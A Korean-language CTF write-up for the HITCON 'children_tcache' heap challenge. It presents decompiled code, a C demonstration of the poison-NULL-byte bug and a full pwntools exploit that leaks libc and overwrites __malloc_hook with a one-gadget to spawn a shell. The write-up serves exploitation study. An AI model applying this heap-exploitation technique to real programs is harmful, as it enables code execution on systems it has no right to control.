본문으로 바로가기

HITCON children_tcache ( write-up )

Content

  • tcache poision NULL byte

  • last remainer


Analysis

unsigned __int64 new_heap()
{
 signed int i; // [rsp+Ch] [rbp-2034h]
 char *ptr; // [rsp+10h] [rbp-2030h]
 unsigned __int64 size; // [rsp+18h] [rbp-2028h]
 char s; // [rsp+20h] [rbp-2020h]
 unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 memset(&s, 0, 0x2010uLL);
 for ( i = 0; ; ++i )
{
   if ( i > 9 )
  {
     puts(":(");
     return __readfsqword(0x28u) ^ v5;
  }
   if ( !pointers[i] )
     break;
}
 printf("Size:");
 size = read_atoll();
 if ( size > 0x2000 )
   exit(-2);
 ptr = (char *)malloc(size);
 if ( !ptr )
   exit(-1);
 printf("Data:");
 read_data((__int64)&s, size);
 strcpy(ptr, &s);
 pointers[i] = ptr;
 sizes[i] = size;
 return __readfsqword(0x28u) ^ v5;
}

int show_heap()
{
 const char *v0; // rax
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 printf("Index:");
 v2 = read_atoll();
 if ( v2 > 9 )
   exit(-3);
 v0 = pointers[v2];
 if ( v0 )
   LODWORD(v0) = puts(pointers[v2]);
 return (signed int)v0;
}

int delete_heap()
{
 unsigned __int64 v1; // [rsp+8h] [rbp-8h]

 printf("Index:");
 v1 = read_atoll();
 if ( v1 > 9 )
   exit(-3);
 if ( pointers[v1] )
{
   memset((void *)pointers[v1], 0xDA, sizes[v1]);
   free((void *)pointers[v1]);
   pointers[v1] = 0LL;
   sizes[v1] = 0LL;
}
 return puts(":)");
}

가능한 것

  • 청크를 힙에 만들고, 데이터를 씀

  • 청크를 지움

  • 청크 안의 데이터를 출력함

new_heap함수에서 local variable에 값을 입력받고, 이를 strcpy를 사용해 heap chunk에 넣어주는데, 여기서 poision NULL byte가 발생한다.

청크는 최대 10개까지 할당할 수 있으며, 요청 가능한 최대 사이즈는 0x2000이다.


Description

#include<stdlib.h>
#include<stdio.h>

int main()
{
   // alocate 3 chunks
   char *a = malloc(0x108);
   char *b = malloc(0xf8);
   char *c = malloc(0xf8);

   printf("a: %p\n",a);
   printf("b: %p\n",b);

   free(a);
   
   // poision NULL byte 발생
   b[0xf8] = '\x00'; // c의 prev_inuse는 0이됨
   *(long*)(b+0xf0) = 0x210; // c의 prev_size를 0x210으로
   
   // c의 prev_inuse = 0, prev_size = 0x210 이므로 consolidate됨
   // a와 b는 unsorted bin으로 들어감
   free(c);

   // a|b|c 위치에 두개의 청크 할당
   char *A = malloc(0x108);
   char *B = malloc(0xF8);
   printf("A: %p\n",A);
   printf("B: %p\n",B);

   free(b);
   // libc leak
   printf("B content: %p\n",((long*)B)[0]);
}

설명 그대로의 느낌.


Exploit

from pwn import *

#context.log_level = "debug"

binary = "./children_tcache"
e = ELF(binary)
libc = e.libc
r = process(binary,aslr=False)

sl = sleep(0.1)
go2 = lambda x : r.sendlineafter(":",str(x))
go = lambda x : r.sendafter(":",str(x))

def new(size,data):
go(1)
sl
go2(size)
sl
go(data)
sl
if len(data) < size:
r.sendline()

def show(index):
go(2)
sl
go(index)

def delete(index):
go(3)
sl
go(index)

new(0x500,"AAAA")
new(0x68,"BBBB")
new(0x5f0,"CCCC")
new(0x20,"DDDD")

delete(1)
delete(0)

for i in range(6):
new(0x68-i,"B"*(0x68-i))
delete(0)

new(0x68,"B"*0x60 + p64(0x580))
delete(2)
new(0x508,"EEEE")

show(0)
libc_base = u64(r.recvuntil("\x15")[-6:] + "\x00\x00")
libc_base -= 0x3ebca0 # main_arena + 96
log.info("libc_base : " + hex(libc_base))

new(0x68,"FFFF")

delete(0)
delete(2)

new(0x68,p64(libc_base + libc.symbols["__malloc_hook"]))
new(0x68,"GGGG")
new(0x68,p64(libc_base + 0x4f322))

go(1)
go2(123)

r.interactive()

청크 많이 만들어놓고 탑청크 병합안되게 설정.

그리고 대에에에충 prev_size에 박힌 이상한값 for돌면서 지워줌

그리고 포널바 트리거해서 청크 언솔빈으로 보냄.

last remainer이용해서 릭하고 값쓰고 하면 끝


Reference